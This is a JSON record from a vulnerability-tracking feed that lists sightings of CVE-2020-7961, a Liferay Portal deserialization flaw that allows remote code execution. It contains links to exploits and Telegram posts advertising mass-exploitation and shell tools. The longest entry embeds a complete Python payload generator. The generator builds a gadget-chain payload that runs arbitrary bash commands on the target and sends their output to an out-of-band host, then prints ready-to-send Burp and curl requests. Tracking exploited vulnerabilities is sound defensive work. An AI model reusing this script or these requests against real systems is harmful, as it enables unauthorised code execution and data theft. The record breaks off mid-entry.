{"vulnerability": "cve-2020-7961", "sightings": [{"uuid": "37040d8e-b344-4173-9b03-cdd920bddf28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "5c7d28dc-89bf-449d-8b08-2e4e7f530fca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "4a61c971-34b3-4e8a-976c-2f8b98589766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "MISP/8bf50bb8-94dd-4004-a646-5f78db6f0b6a", "content": "", "creation_timestamp": "2022-07-13T13:02:16.000000Z"}, {"uuid": "842ebe52-5e4c-4368-bc35-3c4d89d442bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "exploited", "source": "https://www.exploit-db.com/exploits/48332", "content": "", "creation_timestamp": "2020-04-16T00:00:00.000000Z"}, {"uuid": "f6fa76e4-93d6-40f2-8381-da9c64988dc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971052", "content": "", "creation_timestamp": "2024-12-24T20:23:35.326164Z"}, {"uuid": "b72229e0-2fcb-40eb-8b46-cabf8154d9c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "e106a6f9-80ed-4609-896c-58fdfac1b75c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:31.000000Z"}, {"uuid": "ef8dcbaa-fc55-4db3-b12a-859cc08826f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:49.000000Z"}, {"uuid": "43dcc008-3248-42e3-b310-9d088f886939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/liferay_java_unmarshalling.rb", "content": "", "creation_timestamp": "2020-04-15T04:46:00.000000Z"}, {"uuid": "918353bc-d3db-4acd-b3b0-f3b4dfaf0305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2020-7961", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mgdq56gqoy2g", "content": "", "creation_timestamp": "2026-03-05T21:21:50.245154Z"}, {"uuid": "c6207810-458d-42d9-990e-20de83aa1683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2020-7961", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/617c6eff-8636-45f1-8ba4-a2b6949d071a", "content": "", "creation_timestamp": "2026-02-02T12:28:47.936252Z"}, {"uuid": "9c848fc8-2062-4a04-bcbc-1c3b77b271ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "published-proof-of-concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/liferay_portal/cve20207961", "content": "", "creation_timestamp": "2021-02-05T21:43:47.000000Z"}, {"uuid": "802d4b06-0633-4484-900e-97f44a2d6fdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "published-proof-of-concept", "source": "https://t.me/Blackhat_Officials/834", "content": "Python cve-2020-7961.py\n\nPython cve-2020-7961.py -f url.txt\n\n\u6267\u884c whoami \u547d\u4ee4 \n\n#py", "creation_timestamp": "2023-11-23T11:23:59.000000Z"}, {"uuid": "a70977ce-1c4b-4431-be63-8eb9b6a7116d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "https://t.me/arpsyndicate/591", "content": "#ExploitObserverAlert\n\nCVE-2020-7961\n\nDESCRIPTION: Exploit Observer has 106 entries related to CVE-2020-7961. Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS).\n\nFIRST-EPSS: 0.973420000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-27T21:23:30.000000Z"}, {"uuid": "a8632cf1-63ae-4e86-806d-e1e65e294fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "published-proof-of-concept", "source": "Telegram/bYgGR2Ko8QqgBdBnz2mJdpD0cE5gPnuKPtXHvM2SD_iTQBVU", "content": "", "creation_timestamp": "2022-05-14T20:19:12.000000Z"}, {"uuid": "dc883f87-e901-4325-b02c-7b49f3abd021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "published-proof-of-concept", "source": "Telegram/_JklJMa5Ti5t7LVROqdFcwMccnlDJksoXS_-FF-ronoHYHCu", "content": "", "creation_timestamp": "2022-05-14T19:49:09.000000Z"}, {"uuid": "4547f838-c3bd-40ab-893b-89d088d7d3f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "https://t.me/true_secator/2035", "content": "\u200b\u200b\u0410\u0434\u043c\u0438\u043d\u0430\u043c \u043d\u0430 \u0437\u0430\u043c\u0435\u0442\u043a\u0443! \n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u0437\u043d\u0430\u043b\u0438 \u0447\u0435\u043c \u0441\u0435\u0431\u044f \u0437\u0430\u043d\u044f\u0442\u044c \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0431\u0443\u0434\u043d\u0438, \u0442\u043e \u0441\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0440\u0435\u0432\u0438\u0437\u0438\u044e \u0441\u0435\u0442\u0435\u0439 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Trend Micro \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0438\u0437 \u0422\u041e\u041f-15 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Linux:\n\n- CVE-2017-9805: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d\u0430 REST \u0434\u043b\u044f Apache Struts 2, XStream RCE.\n- CVE-2018-7600: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Drupal Core RCE.\n- CVE-2020-14750: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Oracle WebLogic Server RCE.\n- CVE-2020-25213: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE \u043f\u043b\u0430\u0433\u0438\u043d\u0430 WordPress File Manager (wp-file-manager).\n- CVE-2020-17496: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE \u0432  \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u0432 vBulletin subwidgetConfig\n- CVE-2020-11651: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0431\u0430\u0433\u043e\u0432 \u0432 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 SaltStack Salt.\n- CVE-2017-12611: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE \u0432 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0438 OGNL \u0432 Apache Struts.\n- CVE-2017-7657: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u0438\u043d\u044b \u0431\u043b\u043e\u043a\u0430 Eclipse Jetty.\n- CVE-2021-29441: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Alibaba Nacos AuthFilter.\n- CVE-2020-14179: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Atlassian Jira, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n- CVE-2013-4547: Nginx \u0441\u043e\u0437\u0434\u0430\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 URI.\n- CVE-2019-0230: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Apache Struts 2 RCE.\n- CVE-2018-11776: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE \u0432 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0438 OGNL \u0432 Apache Struts.\n- CVE-2020-7961: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 Liferay Portal.\n\n\u0420\u0430\u0431\u043e\u0442\u043d\u0435\u043c, \u043f\u043e\u0436\u0430\u043b\u0443\u0439.", "creation_timestamp": "2021-08-25T13:22:18.000000Z"}, {"uuid": "7c34cc0a-616b-466f-bf13-65a5a8800011", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/662", "content": "CVE-2020-7961 Liferay Portal Json Web Service \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2020-7961_Liferay_Portal_Json_Web_Service_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-06-17T00:51:48.000000Z"}, {"uuid": "0555e93a-1bbd-4283-a106-a70746700aa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/4056", "content": "POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1 https://github.com/mzer0one/CVE-2020-7961-POC", "creation_timestamp": "2020-03-30T13:40:04.000000Z"}, {"uuid": "d4602890-6341-45dd-bd77-c71f2cc5c53d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1572", "content": "Python cve-2020-7961.py\n\nPython cve-2020-7961.py -f url.txt\n\n\u6267\u884c whoami \u547d\u4ee4 \n\n#py", "creation_timestamp": "2023-11-25T05:28:53.000000Z"}, {"uuid": "2a2da57c-ce4e-4558-80b0-3485f0843c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "published-proof-of-concept", "source": "https://t.me/hackingtoolsprvi8/2167", "content": "password : 123", "creation_timestamp": "2022-07-16T12:14:45.000000Z"}, {"uuid": "30df318a-952d-46e8-b590-1fd4abcfd7e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "exploited", "source": "https://t.me/hackingtoolsprvi8/2168", "content": "RCE MASS Liferay Portal Unauthenticated RCE cve-2020-7961 (2020)\n\nPython Version : Python3\n\nUsage :\npython3 -m install requests colorama\n\npython3 rce.py urllist.txt ( For a single target )\n\npython3 mass.py urllist.txt ( For a list target )\n\nSaved file to: linux.txt, win.txt\n\nAFTER get Vulnerability site get shell by python shell.py url.com ( vuln scanned by rce )\n\nLink Download : HERE", "creation_timestamp": "2023-09-15T06:35:07.000000Z"}, {"uuid": "372cd27a-ca4b-47f3-9a17-c76c4023ab18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/867", "content": "#exploit\n1. CVE-2020-8816:\nPi-hole RCE PoC\nhttps://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution\n\n2. CVE-2020-7961:\nDeserialization of Untrusted Data in Liferay Portal <7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSONWS\nhttps://github.com/mzer0one/CVE-2020-7961-POC\n]-> Generator: https://gist.github.com/testanull/4f8a9305b5b57ab8e7f15bbb0fb93461\n]-> Payload: https://gist.github.com/testanull/4bb77519acf2c8e919f8d9b015eda880\n]-> Debug diary: https://m.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/cve-2020-7961-debug-diary-liferay-deserialization-part-5/2802738799840067", "creation_timestamp": "2024-10-18T16:42:40.000000Z"}, {"uuid": "1d8e989f-64b2-450d-98dc-a40345fd5962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/2661", "content": "#Analytics\n10 most exploited vulnerabilities of the week (feb 1-7)\nCVE-2020-1350 - Exploit SIGRed/Windows DNS Server RCE\nhttps://t.me/cybersecuritytechnologies/1422\nCVE-2021-3156 - Heap-Based Buffer Overflow in Sudo\nhttps://t.me/cybersecuritytechnologies/2577\nCVE-2020-7961 - Arbitrary code execution via JSONWS\nhttps://t.me/cybersecuritytechnologies/869\nCVE-2021-25646 - Apache Druid <=0.20.1 RCE\nhttps://t.me/cybersecuritytechnologies/2639\nCVE-2020-27932 - A type confusion in MacOS 10.15.7\nhttps://t.me/cybersecuritytechnologies/2383\nCVE-2019-9041 - ZzzCMS RCE\nhttps://mobile.twitter.com/i/web/status/1357931580098899970\nCVE-2021-22122 - XSS vulnerability in FortiWeb\nhttps://vulmon.com/vulnerabilitydetails?qid=CVE-2021-22122\nCVE-2019-5127 - A cmd injection in YouPHPTube Encoder\nhttps://mobile.twitter.com/i/web/status/1357546718821142528\nCVE-2020-17523 - Apache Shiro pathMatches Auth. Bypass\nhttps://t.me/cybersecuritytechnologies/2650", "creation_timestamp": "2024-05-22T06:15:17.000000Z"}, {"uuid": "d09f68f7-a052-4420-a869-983f5cb5fd8d", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d89f303a-c1d9-4cfe-9083-4b49c3dd9926", "content": "", "creation_timestamp": "2026-06-19T12:47:48.107036Z"}, {"uuid": "e7dfdde1-d7d0-472f-b733-832ecdf5cbeb", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/619dd78c-0232-45b2-94d7-79a8a96cbdec", "content": "", "creation_timestamp": "2026-06-23T14:04:40.822949Z"}, {"uuid": "499e5fad-e27d-46b1-8e7c-c2ca8204acb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "https://gist.github.com/LVy-H/daa99a59da63473d94ce09d186e24861", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2020-7961 payload generator \u2014 Liferay Portal JSONWS deserialization RCE\nPatches the Apache Commons Collections gadget chain with arbitrary JavaScript.\n\nUsage:\n  python3 cve_2020_7961.py    [options]\n\nExamples:\n  python3 cve_2020_7961.py \"id\" \"bore.pub:9999\"\n  python3 cve_2020_7961.py \"cat /etc/passwd\" \"abc.oastify.com\" --burp\n  python3 cve_2020_7961.py \"whoami\" \"bore.pub:1234\" --host target.com:8080 --p-auth l8T5rvIy\n\"\"\"\n\nimport os, sys, urllib.parse, argparse\n\n# Base gadget chain \u2014 Apache Commons Collections 3.1 + ScriptEngine (Java serialized object)\n# Source: cve_oob_payload.hex (OOB DNS-only payload confirmed working on this target)\n# JS string is at byte offset 0x0415 (TC_STRING tag), content at 0x0418, original length 346\nBASE_HEX_FILE = os.path.join(os.path.dirname(__file__), \"cve_oob_payload.hex\")\n\nJS_TAG_OFFSET = 0x0415   # byte index of 0x74 TC_STRING opcode\nJS_CONTENT_OFFSET = 0x0418  # byte index where JS UTF-8 content starts (after tag+2-byte len)\nJS_OLD_LEN = 346         # length of original JS string in base payload\n\n\ndef load_base() -> bytes:\n    with open(BASE_HEX_FILE) as f:\n        return bytes.fromhex(f.read().strip())\n\n\ndef build_js(cmd: str, oob: str) -> str:\n    \"\"\"Build JavaScript for ProcessBuilder RCE with OOB exfil.\"\"\"\n    safe_cmd = cmd.replace(\"\\\\\", \"\\\\\\\\\").replace('\"', '\\\\\"')\n    return (\n        'try {\\n'\n        f'  var p = new java.lang.ProcessBuilder(\"bash\", \"-c\", \"{safe_cmd}\");\\n'\n        '  p.redirectErrorStream(true);\\n'\n        '  var proc = p.start();\\n'\n        '  var br = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));\\n'\n        '  var out = \"\"; var line;\\n'\n        '  while ((line = br.readLine()) != null) { out += line + \"\\\\n\"; }\\n'\n        '  proc.waitFor();\\n'\n        '  var enc = java.net.URLEncoder.encode(out.trim(), \"UTF-8\");\\n'\n        f'  new java.net.URL(\"http://{oob}/out/\" + enc).openStream().read();\\n'\n        '} catch(e) {\\n'\n        '  try {\\n'\n        '    var enc2 = java.net.URLEncoder.encode(e.toString(), \"UTF-8\");\\n'\n        f'    new java.net.URL(\"http://{oob}/err/\" + enc2).openStream().read();\\n'\n        '  } catch(e2) {}\\n'\n        '}'\n    )\n\n\ndef patch_payload(base: bytes, new_js: str) -> bytes:\n    \"\"\"Replace the JS string in the serialized gadget chain.\"\"\"\n    js_bytes = new_js.encode(\"utf-8\")\n    jl = len(js_bytes)\n    # Structure at JS_TAG_OFFSET: [0x74][hi][lo][...js content...][rest of payload]\n    return (\n        base[:JS_TAG_OFFSET + 1]              # keep 0x74 TC_STRING tag\n        + bytes([jl >> 8, jl & 0xFF])        # new 2-byte big-endian length\n        + js_bytes                            # new JS content\n        + base[JS_TAG_OFFSET + 1 + 2 + JS_OLD_LEN:]  # tail (skip old len+content)\n    )\n\n\ndef make_post_body(hex_payload: str, p_auth: str, column_id: int) -> str:\n    \"\"\"URL-encode the JSONWS POST body.\"\"\"\n    user_overrides = f\"HexAsciiSerializedMap:{hex_payload};\"\n    return urllib.parse.urlencode({\n        \"cmd\": '{\"\\\\/expandocolumn\\\\/update-column\":{}}',\n        \"p_auth\": p_auth,\n        \"formDate\": \"1784000000000\",\n        \"columnId\": str(column_id),\n        \"name\": \"x\",\n        \"type\": \"1\",\n        \"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\n            f'{{\"userOverridesAsString\":\"{user_overrides}\"}}',\n    })\n\n\ndef print_burp_request(host: str, body: str) -> None:\n    lines = [\n        f\"POST /api/jsonws/invoke HTTP/1.1\",\n        f\"Host: {host}\",\n        f\"Content-Type: application/x-www-form-urlencoded\",\n        f\"Content-Length: {len(body.encode())}\",\n        f\"Cookie: JSESSIONID=; COMPANY_ID=20155; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=vi_VN\",\n        f\"Connection: close\",\n        \"\",\n        body,\n    ]\n    print(\"=\" * 72)\n    print(\"BURP SUITE RAW REQUEST  (paste into Repeater)\")\n    print(\"=\" * 72)\n    print(\"\\n\".join(lines))\n\n\ndef print_curl_command(host: str, p_auth: str, hex_payload: str, column_id: int) -> None:\n    user_overrides = f'HexAsciiSerializedMap:{hex_payload};'\n    print(\"=\" * 72)\n    print(\"CURL COMMAND\")\n    print(\"=\" * 72)\n    print(f\"\"\"curl -s -X POST 'http://{host}/api/jsonws/invoke' \\\\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\\\n  -b 'JSESSIONID=; COMPANY_ID=20155; COOKIE_SUPPORT=true' \\\\\n  --data-urlencode 'cmd={{\"/expandocolumn/update-column\":{{}}}}' \\\\\n  --data-urlencode 'p_auth={p_auth}' \\\\\n  --data-urlencode 'formDate=1784000000000' \\\\\n  --data-urlencode 'columnId={column_id}' \\\\\n  --data-urlencode 'name=x' \\\\\n  --data-urlencode 'type=1' \\\\\n  --data-urlencode 'defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={{\"userOverridesAsString\":\"{user_overrides}\"}}'\n\"\"\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"CVE-2020-7961 payload generator\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n    )\n    parser.add_argument(\"command\", help='OS command to run, e.g. \"id\" or \"cat /etc/passwd\"')\n    parser.add_argument(\"oob\", help='OOB host:port, e.g. \"bore.pub:9999\" or \"abc.oastify.com\"')\n    parser.add_argument(\"--host\", default=\"localhost:8080\", metavar=\"HOST:PORT\",\n                        help=\"Target host:port (default: localhost:8080)\")\n    parser.add_argument(\"--column-id\", default=20438, type=int, metavar=\"ID\",\n                        help=\"expandocolumn columnId (default: 20438, confirmed working)\")\n    parser.add_argument(\"--p-auth\", default=\"\", metavar=\"TOKEN\",\n                        help=\"p_auth token from a live session (get from page source: Liferay.authToken)\")\n    parser.add_argument(\"--burp\", action=\"store_true\", help=\"Show only Burp raw request\")\n    parser.add_argument(\"--curl\", action=\"store_true\", help=\"Show only curl command\")\n    parser.add_argument(\"--save\", metavar=\"FILE\", help=\"Also save hex payload to file\")\n    args = parser.parse_args()\n\n    base = load_base()\n    js = build_js(args.command, args.oob)\n    patched = patch_payload(base, js)\n    hex_payload = patched.hex().upper()\n    body = make_post_body(hex_payload, args.p_auth, args.column_id)\n\n    print(f\"\\n[+] Command    : {args.command}\")\n    print(f\"[+] OOB expect : GET http://{args.oob}/out/\")\n    print(f\"[+] Target     : http://{args.host}/api/jsonws/invoke\")\n    print(f\"[+] columnId   : {args.column_id}\")\n    print(f\"[+] Payload    : {len(patched)} bytes ({len(hex_payload)} hex chars)\")\n    print(f\"[+] JS size    : {len(js.encode())} bytes (was {JS_OLD_LEN})\\n\")\n\n    if args.burp:\n        print_burp_request(args.host, body)\n    elif args.curl:\n        print_curl_command(args.host, args.p_auth, hex_payload, args.column_id)\n    else:\n        print_burp_request(args.host, body)\n        print()\n        print_curl_command(args.host, args.p_auth, hex_payload, args.column_id)\n\n    out_path = args.save or \"/tmp/pentest-checklist/cve7961_payload.hex\"\n    with open(out_path, \"w\") as f:\n        f.write(hex_payload)\n    print(f\"[+] Hex payload saved to : {out_path}\")\n    print(f\"[+] Expected HTTP 200 response: flexjson.JSONException (gadget ran OK)\")\n    print(f\"[+] How to get p_auth: curl -s http://{args.host}/web/guest/home -b cookies.txt | grep authToken\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "creation_timestamp": "2026-07-20T21:03:55.541191Z"}, {"uuid": "166b197a-57c0-4b34-a874-dc4ccac43f0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "https://t.me/GithubRedTeam/95510", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a liferay-ga4-rce-research\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 10:31:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity research on Liferay CE 7.0.3 GA4: pre-auth RCE as root (CVE-2020-7961 class) reproduced end-to-end, plus 16 more findings \u2014 8+ with no known CVE. Agentic loop-hunt: 25 generators, 22 judges, 9 live validators on Docker. Evidence trail + one-go checker included.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-28T12:00:04.538586Z"}, {"uuid": "3ee877b7-1275-4366-a00d-7f1d60decd3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "Telegram/h1j6Jl6m2npLlEniyRpMllHKNmi9d2U9i1x7gM3I-76diKo", "content": "", "creation_timestamp": "2026-07-28T20:00:07.609433Z"}, {"uuid": "422ceefa-e83e-4e6e-84a7-58add25195a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "published-proof-of-concept", "source": 